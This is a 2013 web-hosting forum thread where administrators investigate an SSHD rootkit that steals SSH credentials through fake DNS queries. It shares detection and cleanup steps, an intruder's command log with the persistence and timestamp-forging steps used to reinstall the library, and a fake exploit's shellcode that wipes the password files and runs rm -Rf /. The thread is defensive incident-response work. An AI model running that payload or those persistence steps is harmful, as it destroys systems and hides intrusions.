1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

SSHD Rootkit

Discussion in 'Security' started by prajithp13, Feb 16, 2013.

Thread Status:
Not open for further replies.
  1. prajithp13

    prajithp13 New Member

    Joined:
    Jun 12, 2012
    Messages:
    20
    Likes Received:
    0
    Trophy Points:
    1
    Location:
    India
    Attention:
    ------------------------------
    It has recently come to light there is a security exploit that seems to be
    affecting or targeting Cloud Linux and CentOS systems running cPanel.
    This is a very new exploit which we have been investigating over the last
    few days and working on a solution. We have been monitoring our managed
    customers and implementing what we believe to fix the exploit.

    You can find more information regarding this recently discovered exploit at
    SSHD Rootkit Rolling around - Web Hosting Talk

    Action required:
    ------------------------------
    Our managed cPanel customers need not do anything unless contacted directly
    by us. Self managed customers will need to do the following to detect the
    file in question and correct the exploit:

    1. SSH to server
    2. Run 'updatedb'
    3. Run 'locate libkeyutils.so.1.9'

    Please follow the steps below to clear the expliot.

    1. SSH to the server
    2. cd /lib64/
    3. rm libkeyutils.so.1.9
    4. rm libkeyutils.so.1
    5. ln -s libkeyutils.so.1.3 libkeyutils.so.1
    6. Restart ssh
    7. yum update kernel and Reboot to close any active connections

    Feel free to open a trouble ticket if you have any questions.


    Thank you for your business,
    Hivelocity Support Team
    /https://hivelocity.net/myvelocity/
    888-869-HOST
     
    #1 prajithp13, Feb 16, 2013
    Last edited by a moderator: Feb 18, 2013
  2. BianchiDude

    BianchiDude Member

    Joined:
    Jul 2, 2005
    Messages:
    624
    Likes Received:
    0
    Trophy Points:
    16
  3. JeffP.

    JeffP. Member

    Joined:
    Sep 28, 2010
    Messages:
    164
    Likes Received:
    4
    Trophy Points:
    18
    That bug is not necessarily related to issue of the libkeyutils.so.1.9 file. Though, it doesn't help that a PoC was released so quickly. There are always local kernel roots, always. It is commonplace to want to link 2 known issues together, but very important to keep in mind that until evidence has shown otherwise, the cause remains entirely unknown.

    Additionally, deleting the lib is not the only action that you should take. Ideally you will rebuild your server and never use any of the same passwords again, as it is believed to possibly send your username and password via UDP port 53 to a remote host by way of bogus DNS queries if using password auth.

    This is the information that I independently discovered yesterday after first investigating the issue:

    When you ssh into a server that has the libkeyutils.so.1.9 file linked to sshd, you may see 1 or 2 outbound UDP port 53 packets destined for a host at 72.156.139.154, like this:

    Code:
    [root@host ~]# tcpdump -Annvvs 1500 -i any host 72.156.139.154
    Code:
    07:54:48.233159 IP (tos 0x0, ttl  64, id 31281, offset 0, flags [DF], proto: UDP (17), length: 91) x.x.x.x.43089 > 72.156.139.154.53: [bad udp cksum d7a9!]  4619+ A? 6196g8f43a4facd3561de4gec736fb.y.y.y.y. (63)
    .
    
    Code:
    07:54:48.273047 IP (tos 0x0, ttl  64, id 31321, offset 0, flags [DF], proto: UDP (17), length: 95) x.x.x.x.54872 > 72.156.139.154.53: [bad udp cksum 4e0e!]  4619+ A? 8236g7ab5b6e67g4632bc5ec31egc54ee7.y.y.y.y. (67)
    .
    
    (Ignore the extra "." at the end of the 2 packets, as I've added it simply to expand the boxes since they were cutting off the bottom line in my browser).

    "x.x.x.x" is the IP address of the machine that is ssh'd into

    "y.y.y.y" is the IP address of the machine that is ssh'd from

    The random string that appears to the left of "y.y.y.y" is believed to possibly be the obfuscated username (e.g., "root", from the first packet), and the password (from the second packet). Note that the string is not a fixed length. You can try logging in a user with a very short username, or with a user who has a very short password, and you'll see the size of the string change (it shortened in my testing).

    So, when you log into a server via sshd that is linked to the lib, it is suspected that the username and password used to log in, including the host that you logged in from, are sent to another host, disguised as an A record lookup in DNS.

    What does this mean?

    A) Logging into sshd as root continues to be a terrible idea

    B) If you reuse your passwords, and if the lib is sending password data, check everywhere that you've used that password - especially if you logged in from a machine that has a public facing sshd.

    It is common to see applications such as sshd directly backdoored once an attacker has root access to a host. For example, oftentimes attackers will replace /usr/sbin/sshd with a copy of their own which has been modified to store usernames and passwords, to bypass logging to syslog, to allow remote root access with a secret password, etc. However, detection of such an attack is trivial, as the size of the sshd binary, its checksum, etc will change.

    In this case, a different but also common tactic has been deployed: instead of trojaning the application directly, trojan one of its libraries. Combined with a tiny amount of seemingly innocuous but blatantly malicious DNS traffic, this is an effective attack.

    How could this attack have been detected? One way would be through careful monitoring of all RPM packages. This is good output, if we are trust the rpm utility on the host from which it is being run:

    Code:
    [root@host ~]# rpm -V keyutils-libs
    [root@host ~]#
    
    whereas this indicates that the libkeyutils.so.1 symlink has been changed:

    Code:
    [root@host ~]# rpm -V keyutils-libs
    ....L...    /lib64/libkeyutils.so.1
    
    Further inspection showed that /lib64/libkeyutils.so.1 was no longer a symlink to /lib64/libkeyutils-1.2.so but to /lib64/libkeyutils.so.1.9 .


    Additionally, you'll note that the malicious library contains networking related code:

    Code:
    [root@host ~]# strings libkeyutils.so.1.9 | egrep 'connect|socket|inet_ntoa|gethostbyname'
    gethostbyname
    socket
    inet_ntoa
    connect
    
    whereas the original lib does not:

    Code:
    [root@host ~]# strings libkeyutils-1.2.so | egrep 'connect|socket|inet_ntoa|gethostbyname'
    [root@host ~]
    
    Again, the cause remains unknown. According a thread on WebHostingTalk, many types of servers using various control panels have seen this attack. Those servers are surely also using different operating systems, different kernels, some with virtualization software and some without. Some are surely running daemons that others are not, and some - many, I'd wager - have already had user level break-ins at some point like so many hosting boxes do. They are also using a wide variety of software repos, and managed by folks who practice different security policies (e.g., some folks reuse the same password on all of their servers, while some strictly use key based auth).

    At this time the origin of attacks remains unclear, and there is always the possibility of multiple attack vectors.

    I hope this information is helpful.
     
  4. JeffP.

    JeffP. Member

    Joined:
    Sep 28, 2010
    Messages:
    164
    Likes Received:
    4
    Trophy Points:
    18
    I'll also share how I quickly found the bogus DNS packets, which began to illustrate the attack.

    1) I straced sshd while logging into it:

    Code:
    [root@host ~]# cat > strace-sshd << EOF
    STRACE=`ps aux | grep ssh[d] | awk '{print "-p " $2}'` ; echo $STRACE ; strace -o out -f -s 5000 $STRACE
    EOF
    [root@host ~]# chmod 700 strace-sshd
    [root@host ~]# ./strace-sshd
    -p 16256 -p 20348 -p 20354 -p 28263 -p 28275 -p 30174 -p 30184
    Process 16256 attached - interrupt to quit
    Process 20348 attached - interrupt to quit
    Process 20354 attached - interrupt to quit
    Process 28263 attached - interrupt to quit
    Process 28275 attached - interrupt to quit
    Process 30174 attached - interrupt to quit
    Process 30184 attached - interrupt to quit
    
    2) I then parsed the strace output, putting each syscall into its own file for review:

    Code:
    [root@host ~]# cat > syscallparse << EOF
    for x in `awk '{print $2}' ../out  | grep [a-z] | sed s/\(.*//g | sort | uniq` ; do grep -n "^[[:digit:]]\+[[:space:]]\+$x(" ../out >> $x ; done
    EOF
    [root@host ~]# chmod 700 syscallparse
    [root@host ~]# mkdir syscalls && cd syscalls
    [root@host ~/syscalls]# ../syscallparse
    
    3) After running the syscallparse script, I had the strace output of each syscall in its own file:

    Code:
    [root@host ~/syscalls]# ls -al
    total 2376
    drwxr-xr-x 2 root root    4096 Feb 17 10:43 ./
    drwx------ 3 root root    4096 Feb 17 10:43 ../
    -rw-r--r-- 1 root root     222 Feb 17 10:43 accept
    -rw-r--r-- 1 root root    5423 Feb 17 10:43 access
    -rw-r--r-- 1 root root    1268 Feb 17 10:43 alarm
    -rw-r--r-- 1 root root    1044 Feb 17 10:43 arch_prctl
    -rw-r--r-- 1 root root    1134 Feb 17 10:43 bind
    -rw-r--r-- 1 root root    4747 Feb 17 10:43 brk
    -rw-r--r-- 1 root root     243 Feb 17 10:43 chdir
    -rw-r--r-- 1 root root      98 Feb 17 10:43 chmod
    -rw-r--r-- 1 root root     147 Feb 17 10:43 chown
    -rw-r--r-- 1 root root      97 Feb 17 10:43 chroot
    -rw-r--r-- 1 root root    3447 Feb 17 10:43 clone
    -rw-r--r-- 1 root root   36520 Feb 17 10:43 close
    -rw-r--r-- 1 root root    6149 Feb 17 10:43 connect
    -rw-r--r-- 1 root root     441 Feb 17 10:43 dup
    -rw-r--r-- 1 root root    2447 Feb 17 10:43 dup2
    -rw-r--r-- 1 root root    1592 Feb 17 10:43 execve
    -rw-r--r-- 1 root root    1715 Feb 17 10:43 exit_group
    -rw-r--r-- 1 root root    8307 Feb 17 10:43 fcntl
    -rw-r--r-- 1 root root   24143 Feb 17 10:43 fstat
    -rw-r--r-- 1 root root    1403 Feb 17 10:43 futex
    -rw-r--r-- 1 root root     623 Feb 17 10:43 getdents
    [...]
    
    It was upon review of the file named "connect" that I noticed the unusual 72.156.139.154 host. Everything took off from that point.
     
  5. egillette

    egillette Member

    Joined:
    Jan 5, 2010
    Messages:
    66
    Likes Received:
    0
    Trophy Points:
    6
    Location:
    Orlando, FL
    Jeff,

    This is solid, as is Steve's research on WHT's forum. . .what I really am trying to find out, is how this happened, and more importantly how it seems to have occurred on such a large scale!
     
  6. egillette

    egillette Member

    Joined:
    Jan 5, 2010
    Messages:
    66
    Likes Received:
    0
    Trophy Points:
    6
    Location:
    Orlando, FL
  7. brianoz

    brianoz Active Member

    Joined:
    Mar 13, 2004
    Messages:
    1,152
    Likes Received:
    5
    Trophy Points:
    38
    Location:
    Melbourne, Australia
    Eric,

    I think that's where all the effort is focussed at this point. Initial thoughts were a kernel bug, ptrace with a race condition, but now people have doubts about that. Work is ongoing though and we should have a result soon.
     
  8. WhiteDog

    WhiteDog Member

    Joined:
    Feb 19, 2008
    Messages:
    108
    Likes Received:
    0
    Trophy Points:
    16
    Just read the entire topic at WHT... quite scary this one.
    Any mitigation tactics you guys are using? Any ports we should (temporarely) block?
     
  9. prajithp13

    prajithp13 New Member

    Joined:
    Jun 12, 2012
    Messages:
    20
    Likes Received:
    0
    Trophy Points:
    1
    Location:
    India
    Well, Me got hacked again :( I have deleted the file libkeyutils.so.1.9 before 2 days ago, but Today Its placed in /lib folder again. I doubt its 0 day openssh exploit. I have installed the snoopy as per the Steven advice, I can see the hacker running the following commands in server.

    Code:
    Feb 18 07:28:03 server1 snoopy[20446]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/rm]: rm -f /home/tmpp/q3def
    Feb 18 07:28:03 server1 snoopy[20448]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /var/log/cron
    Feb 18 07:28:03 server1 snoopy[20449]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/egrep]: egrep -i Feb 18 07
    Feb 18 07:28:04 server1 snoopy[20452]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /var/log/cron
    Feb 18 07:28:04 server1 snoopy[20453]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/egrep]: egrep -vi Feb 18 07
    Feb 18 07:28:04 server1 snoopy[20454]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /var/log/cron
    Feb 18 07:28:04 server1 snoopy[20455]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/egrep]: egrep Feb 18 07
    Feb 18 07:28:05 server1 snoopy[20469]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/rm]: rm -f /home/tmpp/q3def
    Feb 18 07:28:05 server1 snoopy[20471]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /var/log/notify.log
    Feb 18 07:28:05 server1 snoopy[20472]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/egrep]: egrep -vi 46.105.20.166|46.105.20.166
    Feb 18 07:28:05 server1 snoopy[20473]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /home/tmpp/q3def
    Feb 18 07:28:05 server1 snoopy[20474]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/rm]: rm -f /home/tmpp/q3def
    Feb 18 07:28:05 server1 snoopy[20477]: [uid:0 sid:20392 tty: cwd:/root filename:/usr/bin/ssh]: ssh -G1 -V
    Feb 18 07:28:05 server1 snoopy[20478]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/grep]: grep illegal
    Feb 18 07:28:05 server1 snoopy[21505]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /etc/redhat-release
    Feb 18 07:28:05 server1 snoopy[21509]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/grep]: grep -i UseLogin /etc/ssh/sshd_config
    Feb 18 07:28:05 server1 snoopy[21510]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/grep]: grep -v ^#
    Feb 18 07:28:06 server1 snoopy[21517]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/chown]: chown root:root libzz8d70
    Feb 18 07:28:06 server1 snoopy[21518]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/chmod]: chmod 755 libzz8d70
    Feb 18 07:28:06 server1 snoopy[21519]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/mv]: mv libzz8d70 libkeyutils.so.1.9
    Feb 18 07:28:06 server1 snoopy[21520]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/ln]: ln -s libkeyutils.so.1.9 libkeyutils.so.n
    Feb 18 07:28:06 server1 snoopy[21521]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/mv]: mv libkeyutils.so.n libkeyutils.so.1
    Feb 18 07:28:06 server1 snoopy[21522]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/touch]: touch -c -r libkeyutils-1.2.so libkeyutils.so.1.9
    Feb 18 07:28:06 server1 snoopy[21524]: [uid:0 sid:20392 tty: cwd:/lib filename:/usr/bin/ldd]: ldd /usr/sbin/sshd
    Feb 18 07:28:06 server1 snoopy[21525]: [uid:0 sid:20392 tty: cwd:/lib filename:/lib/ld-linux.so.2]: /lib/ld-linux.so.2 --verify /usr/sbin/sshd
    Feb 18 07:28:06 server1 snoopy[21527]: [uid:0 sid:20392 tty: cwd:/lib filename:/lib/ld-linux.so.2]: /lib/ld-linux.so.2 /usr/sbin/sshd
    Feb 18 07:28:06 server1 snoopy[21528]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/cat]: cat
    Feb 18 07:28:06 server1 snoopy[21529]: [uid:0 sid:20392 tty: cwd:/lib filename:/usr/sbin/sshd]: /usr/sbin/sshd -t
    Feb 18 07:28:06 server1 snoopy[21531]: [uid:0 sid:20392 tty: cwd:/lib filename:/sbin/restorecon]: restorecon -F /lib/libkeyutils-1.2.so /lib/libkeyutils.so.1 /lib/libkeyutils.so.1.9
    Feb 18 07:28:06 server1 snoopy[21532]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/touch]: touch -c -r libkeyutils-1.2.so libkeyutils.so.1
    Feb 18 07:28:09 server1 sshd[20383]: Connection closed by 46.105.20.166


    Code:
    root@server1 [/var/log]# ls -ld /lib/libkeyutils
    libkeyutils-1.2.so  libkeyutils.so.1    libkeyutils.so.1.9  
    root@server1 [/var/log]# ls -ld /lib/libkeyutils
    root@server1 [/var/log]# ls -ld /lib/libkeyutils.so.1.9
    -rwxr-xr-x 1 root root 26904 Jan  6  2007 /lib/libkeyutils.so.1.9*
    root@server1 [/var/log]# stat /lib/libkeyutils.so.1.9
      File: `/lib/libkeyutils.so.1.9'
      Size: 26904           Blocks: 56         IO Block: 4096   regular file
    Device: 6ah/106d        Inode: 357728408   Links: 1
    Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2013-02-18 07:28:21.000000000 -0500
    Modify: 2007-01-06 02:57:38.000000000 -0500
    Change: 2013-02-18 07:28:06.000000000 -0500


    I have parsed the strace output, but I don't see any outbound connections to unknown ips.

    Researching more about it.... :D
     
  10. JeffP.

    JeffP. Member

    Joined:
    Sep 28, 2010
    Messages:
    164
    Likes Received:
    4
    Trophy Points:
    18
    Is "tmpp" a valid user on the server?

    Does "lsof | grep q3def" show any results (e.g., "(deleted)")?
     
  11. easyswiss

    easyswiss New Member

    Joined:
    Apr 19, 2011
    Messages:
    15
    Likes Received:
    0
    Trophy Points:
    1
    removed...
     
    #11 easyswiss, Feb 18, 2013
    Last edited: Feb 18, 2013
  12. prajithp13

    prajithp13 New Member

    Joined:
    Jun 12, 2012
    Messages:
    20
    Likes Received:
    0
    Trophy Points:
    1
    Location:
    India
    No user with the name tmpp. I think the hacker is creating that folder..
    No output from lsof | grep q3def command.
     
  13. easyswiss

    easyswiss New Member

    Joined:
    Apr 19, 2011
    Messages:
    15
    Likes Received:
    0
    Trophy Points:
    1
    removed...
     
    #13 easyswiss, Feb 18, 2013
    Last edited: Feb 18, 2013
  14. JeffP.

    JeffP. Member

    Joined:
    Sep 28, 2010
    Messages:
    164
    Likes Received:
    4
    Trophy Points:
    18
    If you believe that you have a found a problem with the 3rd party software "OpenSSH", you should contact the vendor of that software. Their website is here:

    openssh.com

    Thanks.
     
  15. JeffP.

    JeffP. Member

    Joined:
    Sep 28, 2010
    Messages:
    164
    Likes Received:
    4
    Trophy Points:
    18
    Those are not legitimate exploits. The OpenSSH one contains this, which should always be suspicious:

    Code:
    fprintf(stderr, "You need to be root [...]
    and the fake shellcode contains this:

    Code:
     Rfh-
    h//r
    mh/b
    
    (rm -fR).


    The Apache one in the ticket contained this:

    Code:
    echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /
    --

    Compiling just the shellcode:

    Code:
    $ cat a.c 
    int main() {
    
        unsigned char shellcode[] =
        "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
        "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
        "\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
        "\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
        "\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
        "\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
        "\xcd\x80";
    
    }
    
    Code:
    $ gcc a.c -o a
    
    Checking its strings:

    Code:
    $ strings a
    /lib64/ld-linux-x86-64.so.2
    __gmon_start__
    libc.so.6
    __libc_start_main
    GLIBC_2.2.5
    fff.
    fffff.
    l$ L
    t$(L
    |$0H
    Rfh-c
    h/sh
    h/bin
    echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /
    
     
  16. cPanelJesse

    cPanelJesse Member
    Staff Member

    Joined:
    Sep 19, 2007
    Messages:
    43
    Likes Received:
    1
    Trophy Points:
    8
    Location:
    Houston
    On some of the compromised machines we are also seeing that /etc/pam.d/sshd is altered, certain modules get disabled so they can more easily mask their connections to the machine. Just noting so you can track this on the systems they find infected.

    To re-iterate Jeff's advice, a reformat/rebuild is 100% recommended as they do indeed have root-level access to perform these tasks and some systems have been getting re-infected.

    There is some guides floating around on getting the file removed and the services back online but please note that this is not ensuring your server is secured. Some have reported that the intruders were able to put the file back in place days after removing it.
     
  17. Tam

    Tam Member

    Joined:
    Jul 31, 2004
    Messages:
    103
    Likes Received:
    0
    Trophy Points:
    16
    Happy to say that none of our boxes have been compromised, but we block port 22 and only allow SSH access to particular IP addresses, and password authorization is disabled since we use keys only.
     
  18. jestep

    jestep New Member

    Joined:
    Dec 18, 2006
    Messages:
    17
    Likes Received:
    0
    Trophy Points:
    1
    There are other reports of machines being infected with no password auth. Speculating, but from reading the 16 pages on WHT it appears that the SSH may only be a symptom and not actually play any part in how the server is compromised.
     
  19. HVH-Kris

    HVH-Kris New Member

    Joined:
    Feb 18, 2013
    Messages:
    1
    Likes Received:
    0
    Trophy Points:
    1
    For the time being, one thing that seems to be static about this rootkit is the filename.

    Since it's not being used, and sym-links itself, I've touched / chattr'd the file, in addition to a few other preventative measures.

    Hope this helps someone else while things are being patched & figured out.

     
    #19 HVH-Kris, Feb 18, 2013
    Last edited: Feb 18, 2013
  20. nospa

    nospa Member

    Joined:
    Apr 23, 2012
    Messages:
    108
    Likes Received:
    0
    Trophy Points:
    16
    Have you reported this IP to OVH? Or this is your IP?
     
Thread Status:
Not open for further replies.

Share This Page